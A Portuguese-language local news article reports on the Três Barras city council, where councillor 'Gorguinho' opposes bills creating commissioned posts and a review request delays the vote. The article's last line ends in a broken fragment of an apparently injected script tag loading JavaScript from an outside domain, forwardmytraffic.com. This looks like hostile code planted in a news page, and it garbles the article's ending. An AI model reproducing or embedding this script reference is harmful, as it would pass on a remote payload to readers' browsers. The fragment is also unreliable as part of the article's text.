Marco Antônio de Souza, Gorguinho (PMDB), discutiu os projetos de lei, mesmo com pedido de vista
O vereador Marco Antônio de Souza, Gorguinho (PMDB), se posicionou contra aos projetos de lei, de origem do executivo municipal, e que criam cargos comissionados em secretarias e no SAMASA – Serviço Autônomo Municipal de Água e Saneamento Ambiental. A votação ocorreria na última segunda-feira, 14, mas um pedido de vista adiou a apreciação do texto. A nova votação pode ocorrer na quarta-feira, 16, ou na segunda-feira, 21.
Gorguinho chegou a ser aplaudido pela platéia que lotava a Câmara de Vereadores, após pedir para debater a matéria, mesmo com a solicitação de vista, feita por Laudecir José Gonçalves. Para o vereador “é importante se posicionar sobre o assunto e que a discussão” poderia ser feita naquela sessão, mesmo que a votação não ocorresse.
Para o vereador, criar cargos comissionados vai contra o momento pelo qual o país passa, com o corte dos cargos para dar mais equilíbrio as contas públicas. “A despesa com os cargos pode superar R$ 600 mil reais no ano”, justificou.
O edil também lembrou que o prefeito já havia destacado que “os gastos com pessoal – do município de Três Barras – estão no limite”, recordando ainda que no ano passado o executivo lamentava-se de dívidas passadas, e que naquele momento a câmara foi compreensível com a situação.
Gorguinho lembrou o movimento feito por Pinho Moreira, governador de Santa Catarina, para tentar enxugar a máquina, ainda destacando que os principais discursos dos possíveis candidatos a governador do estudo convergem para a situação fiscal. “Não tem mágica na gestão pública”, alegou.
A Sessão:
Na última segunda-feira, 14, os vereadores de Três Barras fariam a votação final dos projetos de Lei 03/2018 e 04/2018 que dispõem sobre a criação de cargos no município de Três Barras. De acordo com os textos, seriam criados cargos de chefes de gabinete, diretor, sub-diretor, assessor, diretor de extensão, na estrutura do executivo e o cargo de assessor de Diretoria no SAMASA – Serviço Autônomo Municipal de Água e Saneamento Ambiental.
Anunciados para votação final na “Ordem do Dia”, eles tiveram apreciação adiada após um pedido de “vista”, direito constitucional que um legislador tem para analisar e tirar dúvidas a respeito de um projeto de lei, ou matéria que necessita de deliberação. Assim, o vereador que solicitou tem até três dias para re-ler o texto e tomar sua decisão. A votação é realizada, então, nas sessões seguintes após o termino do prazo, ou até antes, quando o vereador conclui adiantadamente a analise do projeto no período de vista.
Na última segunda-feira, 14, o texto poderia ser rejeitado, caso os vereadores da situação não conseguissem a maioria durante a votação. Apesar de ter quórum para ser realizada, a sessão não contava com a presença dos vereadores Ernani JR (PSB); e Edenilson Enguel (PSD), e tinha assim diminuída a margem governista para aprovação da matéria, que não registrariam seu voto na questão.
Ao final, os cidadãos que acompanhavam a sessão ficaram irritados com a situação e iniciaram uma vaia em repúdio ao adiamento da votação…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>
